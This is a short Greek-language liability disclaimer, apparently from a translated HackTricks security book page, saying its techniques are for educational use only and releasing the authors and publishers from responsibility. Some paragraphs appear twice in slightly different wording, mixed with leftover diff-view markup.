> Επιπλέον, οι τεχνικές και οι συμβουλές που περιγράφονται σε αυτό το βιβλίο παρέχονται για εκπαιδευτικούς και ενημερωτικούς σκοπούς μόνο και δεν πρέπει να χρησιμοποιούνται για οποιεσδήποτε παράνομες ή κακόβουλες ενέργειες. Οι συγγραφείς και οι εκδότες δεν συγκατατίθενται ούτε υποστηρίζουν οποιεσδήποτε παράνομες ή ανήθικες δραστηριότητες, και οποιαδήποτε χρήση των πληροφοριών που περιέχονται σε αυτό το βιβλίο γίνεται με δική σας ευθύνη και κρίση.
|
||||
>
|
||||
> Ο χρήστης είναι αποκλειστικά υπεύθυνος για οποιεσδήποτε ενέργειες γίνονται βάσει των πληροφοριών που περιέχονται σε αυτό το βιβλίο, και θα πρέπει πάντα να ζητάει επαγγελματικές συμβουλές και βοήθεια όταν προσπαθεί να εφαρμόσει οποιαδήποτε από τις τεχνικές ή συμβουλές που περιγράφονται εδώ.
|
||||
> Ο χρήστης είναι αποκλειστικά υπεύθυνος για οποιεσδήποτε ενέργειες λαμβάνει βάσει των πληροφοριών που περιέχονται σε αυτό το βιβλίο και θα πρέπει πάντα να αναζητά επαγγελματική συμβουλή και βοήθεια όταν επιχειρεί να εφαρμόσει οποιεσδήποτε από τις τεχνικές ή συμβουλές που περιγράφονται σε αυτό.
|
||||
>
|
||||
> Χρησιμοποιώντας αυτό το βιβλίο, ο χρήστης συμφωνεί να απαλλάσσει τους συγγραφείς και τους εκδότες από οποιαδήποτε και κάθε ευθύνη για οποιεσδήποτε ζημίες, απώλειες ή βλάβες που μπορεί να προκύψουν από τη χρήση αυτού του βιβλίου ή οποιασδήποτε από τις πληροφορίες που περιέχονται σε αυτό.
|
||||
> Με τη χρήση αυτού του βιβλίου, ο χρήστης συμφωνεί να απαλλάσσει τους συγγραφείς και εκδότες από οποιαδήποτε και κάθε ευθύνη και ευθύνη για οποιεσδήποτε ζημίες, απώλειες ή βλάβες που μπορεί να προκύψουν από τη χρήση αυτού του βιβλίου ή οποιασδήποτε από τις πληροφορίες που περιέχονται σε αυτό.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user